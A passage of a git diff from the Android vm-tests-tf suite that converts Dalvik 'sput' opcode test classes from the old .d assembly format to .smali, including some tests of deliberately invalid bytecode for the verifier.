+.source "T_sput_15.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_15;
+.super  Ldot/junit/opcodes/sput/d/T_sput_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput/d/T_sput_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 12321
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_1;->st_pvt1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_17.d
deleted file mode 100644
index ce6a0a8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_17.java
-.class public dot.junit.opcodes.sput.d.T_sput_17
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       sput v1, dot.junit.opcodes.sput.d.T_sput_17.st_i1 I
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_17.smali
new file mode 100644
index 0000000..ad4f73d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_17.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_17;->st_i1:I
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_18.d
deleted file mode 100644
index 7a79061..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_18.java
-.class public dot.junit.opcodes.sput.d.T_sput_18
-.super java/lang/Object
-
-.field public static st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       sput v1, dot.junit.opcodes.sput.d.T_sput_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_18.smali
new file mode 100644
index 0000000..916fb04
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_18.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_19.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_19.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_19.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_19.smali
new file mode 100644
index 0000000..3d0c0d1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_19.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput/d/T_sput_19;
+.super Ljava/lang/Object;
+.source "T_sput_19.java"
+
+
+# static fields
+.field public static st_f1:F
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x4048f5c3    # 3.14f
+
+    sput v1, Ldot/junit/opcodes/sput/d/T_sput_19;->st_f1:F
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_2.d
deleted file mode 100644
index 9989c88..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_2.java
-.class public dot.junit.opcodes.sput.d.T_sput_2
-.super java/lang/Object
-
-.field public static st_d1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const-wide v1, 1000000.000000
-       sput v1, dot.junit.opcodes.sput.d.T_sput_2.st_d1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_2.smali
new file mode 100644
index 0000000..4b0ea6e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_2.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_2;
+.super  Ljava/lang/Object;
+
+.field public static st_d1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const-wide v1, 1000000.000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_2;->st_d1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_20.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_20.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_20.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_20.smali
new file mode 100644
index 0000000..9ed2b1b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_20.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput/d/T_sput_20;
+.super Ljava/lang/Object;
+.source "T_sput_20.java"
+
+
+# static fields
+.field public static st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    const p0, 0x0
+
+    sput p0, Ldot/junit/opcodes/sput/d/T_sput_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_21.d
deleted file mode 100644
index bc08d1d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_21.java
-.class public dot.junit.opcodes.sput.d.T_sput_21
-.super java/lang/Object
-
-.field public static st_s S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1234    
-       sput v0, dot.junit.opcodes.sput.d.T_sput_21.st_s S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_21.smali
new file mode 100644
index 0000000..2470ab4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_21.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_21;
+.super  Ljava/lang/Object;
+
+.field public static st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1234    
+       sput v0, Ldot/junit/opcodes/sput/d/T_sput_21;->st_s:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_22.d
deleted file mode 100644
index ff17473..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_22.java
-.class public dot.junit.opcodes.sput.d.T_sput_22
-.super java/lang/Object
-
-.field public static st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput v0, dot.junit.opcodes.sput.d.T_sput_22.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_22.smali
new file mode 100644
index 0000000..3c73c0d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_22.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_22;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput v0, Ldot/junit/opcodes/sput/d/T_sput_22;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_23.d
deleted file mode 100644
index 10cdb15..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_23.java
-.class public dot.junit.opcodes.sput.d.T_sput_23
-.super java/lang/Object
-
-.field public static st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput v0, dot.junit.opcodes.sput.d.T_sput_23.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_23.smali
new file mode 100644
index 0000000..600cfaa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_23.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_23;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput v0, Ldot/junit/opcodes/sput/d/T_sput_23;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_24.d
deleted file mode 100644
index 5b6bac3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_24.java
-.class public dot.junit.opcodes.sput.d.T_sput_24
-.super java/lang/Object
-
-.field public static st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput v0, dot.junit.opcodes.sput.d.T_sput_24.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_24.smali
new file mode 100644
index 0000000..dbad029
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_24.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_24;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput v0, Ldot/junit/opcodes/sput/d/T_sput_24;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_3.d
deleted file mode 100644
index 22aaeef9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_3.java
-.class public dot.junit.opcodes.sput.d.T_sput_3
-.super java/lang/Object
-
-.field public static st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1234
-       sput v0, dot.junit.opcodes.sput.d.T_sput_3.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_3.smali
new file mode 100644
index 0000000..0990dfb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_3.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1234
+       sput v0, Ldot/junit/opcodes/sput/d/T_sput_3;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_4.d
deleted file mode 100644
index 2ca3434..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_4.java
-.class public dot.junit.opcodes.sput.d.T_sput_4
-.super java/lang/Object
-
-.field public static st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput v3, dot.junit.opcodes.sput.d.T_sput_4.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_4.smali
new file mode 100644
index 0000000..e28d0b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_4.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput v3, Ldot/junit/opcodes/sput/d/T_sput_4;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_5.d
deleted file mode 100644
index 25a88ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_5.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_5.java
-.class public dot.junit.opcodes.sput.d.T_sput_5
-.super java/lang/Object
-
-.field public static st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)V
-.limit regs 3
-
-       sput v2, dot.junit.opcodes.sput.d.T_sput_5.st_i1 I
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_5.smali
new file mode 100644
index 0000000..04264e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_5.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_5.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_5;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)V
+.registers 3
+
+       sput v2, Ldot/junit/opcodes/sput/d/T_sput_5;->st_i1:I
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_7.d
deleted file mode 100644
index 7bad17d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_7.java
-.class public dot.junit.opcodes.sput.d.T_sput_7
-.super java/lang/Object
-
-.field public st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
